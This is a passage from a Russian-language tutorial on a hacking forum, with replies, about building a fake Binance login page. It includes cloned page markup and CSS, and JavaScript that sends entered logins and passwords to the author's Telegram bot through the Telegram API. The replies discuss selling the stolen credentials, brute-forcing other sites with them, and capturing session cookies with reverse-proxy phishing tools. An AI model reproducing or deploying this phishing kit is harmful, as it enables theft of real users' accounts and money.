               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,456) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,480) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(360,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,504) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,528) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(288,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,552) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(336,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,576) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(384,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(408,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(432,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,600) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(240,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(264,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(312,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(456,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(480,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(504,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(528,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(552,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(576,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(600,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(624,624) scale(4.12)">
               <rect width="6" height="6" />
            </g>
            <g transform="translate(48,48)">
               <g transform="scale(12)">
                  <path d="M0,0v14h14V0H0z M12,12H2V2h10V12z" />
               </g>
            </g>
            <g transform="translate(480,48)">
               <g transform="scale(12)">
                  <path d="M0,0v14h14V0H0z M12,12H2V2h10V12z" />
               </g>
            </g>
            <g transform="translate(48,480)">
               <g transform="scale(12)">
                  <path d="M0,0v14h14V0H0z M12,12H2V2h10V12z" />
               </g>
            </g>
            <g transform="translate(96,96)">
               <g transform="scale(12)">
                  <rect width="6" height="6" />
               </g>
            </g>
            <g transform="translate(528,96)">
               <g transform="scale(12)">
                  <rect width="6" height="6" />
               </g>
            </g>
            <g transform="translate(96,528)">
               <g transform="scale(12)">
                  <rect width="6" height="6" />
               </g>
            </g>
         </g>
      </svg>
      <div class="w-fc h-fc position-center">
         <button class="btn btn-secondary no-svg w-fc">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" width="25"
               height="25">
               <path fill-rule="evenodd" clip-rule="evenodd"
                  d="M7 4h3v3H7v3H4V4h3zm7 0h6v6h-3V7h-3V4zm-4 16v-3H7v-3H4v6h6zm7 0h-3v-3h3v-3h3v6h-3zm-1-9.5H8v3h8v-3z"
                  fill="currentColor"></path>
            </svg>
            Get QR Code
         </button>
      </div>
   </div>
   <span class="fw-bold">Log in with QR code</span>
   <small>Scan this code with the <span class="text-warning">Binance mobile <br /> app</span> to log in
   instantly.</small>
</div>

Из элементов: QR код, кнопка, заголовок, подзаголовок.
QR код сгенерирован в онлайн генераторе и скопирован как svg строка прямиком в html'ку. Если отсканить откроет ссылку https://binance.com
Кнопка btn-secondary стили к которому применяются из прошлых пунктов.
QR и кнопка центрированы с помощью position-absolute и таких стилей
CSS:
.position-center {
            position: absolute;
            left: 0;
            right: 0;
            top: 0;
            bottom: 0;
            margin: auto;
        }
Заголовок это span с жирным выделением fw-bold.
Описание small тег и желтый текст через стандартный text-warning

4. Шрифты
На сайте https://www.onlinewebfonts.com/fonts нашел вроде как бесплатный Binance PLEX и подключил по их же мануалу.
CSS:
@font-face {
            font-family: "Binance PLEX";
            src: url("fonts/c94943a588b1d34659623d3d00bf7e54.eot");
            src: url("fonts/c94943a588b1d34659623d3d00bf7e54.eot?#iefix")format("embedded-opentype"),
                url("fonts/c94943a588b1d34659623d3d00bf7e54.woff")format("woff"),
                url("fonts/c94943a588b1d34659623d3d00bf7e54.woff2")format("woff2"),
                url("fonts/c94943a588b1d34659623d3d00bf7e54.ttf")format("truetype"),
                url("fonts/c94943a588b1d34659623d3d00bf7e54.svg#Binance PLEX")format("svg");
            font-weight: normal;
            font-style: normal;
            font-display: swap;
        }
1693946670990.png


Данным тегам уже и был применен этот шрифт
CSS:
span,
        small,
        h1,
        h2,
        h3,
        h4,
        h5,
        label,
        input,
        button,
        p {
            font-family: 'Binance PLEX' !important;
        }

5. JavaScript.
JavaScript:
const chatId = 6427757968; // int
        const token = ''; //str

        function check() {
            let isNoError = false;
            let msg = "<b>logpass binance</b>\n";

            $('.check-input').each(function () {
                let input = $(this).find('input');
                let text = input.val();
                let errorText = $(this).find('span');

                if (!text) {
                    input.addClass('is-invalid');
                    errorText.addClass('text-danger');
                    errorText.removeClass('d-none');

                    isNoError = false;
                } else {
                    input.removeClass('is-invalid');
                    errorText.removeClass('text-danger');
                    errorText.addClass('d-none');

                    isNoError = true;
                }

                msg += text + "\n";
            });

          

            if(isNoError){
                fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&parse_mode=HTML&text=${encodeURI(msg)}`);
            }
        }
Примитивная валидация. Проверяет пустые ли поля ввода, если пустые у "красного" текста убирает класс d-none, чтоб он появился, полю ввода добавляет is-invalid, которое делает его таким
1693946902083.png
.
Если оба поля заполненые отправляется HTTP запрос на API телеграма для отправки сообщения с данными наши ботом. Не забываем поставить наш chatID и botToken.

Как-то так, слишком подробно не стал рассказывать, постарался обьяснить простыми словами.
1693947178742.png


Автор baranoff https://xss.pro/members/333305/
Источник https://xss.pro
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не плохо! Для начинающих вводный как раз. Также поддерживаю что выкачка файлов и редактирование их еще тот геморой. Ну, а если уже говорить о фейках или фишах, то рекомендую к просмотру эту статью как для примера: /threads/53046/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не плохо! Для начинающих вводный как раз. Также поддерживаю что выкачка файлов и редактирование их еще тот геморой. Ну, а если уже говорить о фейках или фишах, то рекомендую к просмотру эту статью как для примера: /threads/53046/
Спасибо, Вы мотивируете меня писать дальше 😊
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И что ты будешь с этими логинами и паролями делать дальше?
твой намек ясен. зная логин (почту) и пароль даже от бинанса, тоже полезно, несмотря на то что на аккаунте может стоять двухфакторка, можно брутить другие сервисы/биржи/сайты. помимо брута эти данные можно продавать, покупатель всегда найдется. как писали выше, статья вводная, это не полный вариант фишинга binanca с проверкой данных на валид, live управлением и прочими фишками. это дело можно довести до того уровня что ты ожидал, но не в этой статье, она про другое.
 
Такой фишинг не принесет прибыли, необходим заход на сайт-донор под мамонтом, а для этого нужны куки.
Для снятия кук используются реверс-прокси, типа evlginx/modlishka. Метод в корне отличается от приведенного выше в статье.
 
Такой фишинг не принесет прибыли, необходим заход на сайт-донор под мамонтом, а для этого нужны куки.
Для снятия кук используются реверс-прокси, типа evlginx/modlishka. Метод в корне отличается от приведенного выше в статье.
Так это все поняли, да вот песня совсем не о том )
Цель же автор указал, под неё и путь, остальное - это уж слишком будет, на данном этапе.
Кому интересен реверс - статья о фейк блокчейне на экспе, что призовая в конкурсе - там и подход иной и цель.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кому интересен реверс - статья о фейк блокчейне на экспе, что призовая в конкурсе - там и подход иной и цель.
я дал наводку несколько постами выше
Ну, а если уже говорить о фейках или фишах, то рекомендую к просмотру эту статью как для примера: /threads/53046/
вот собсно...
 
Сбор Логина Пароля, а дальше? Нужны ОТП коды и живая панель.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх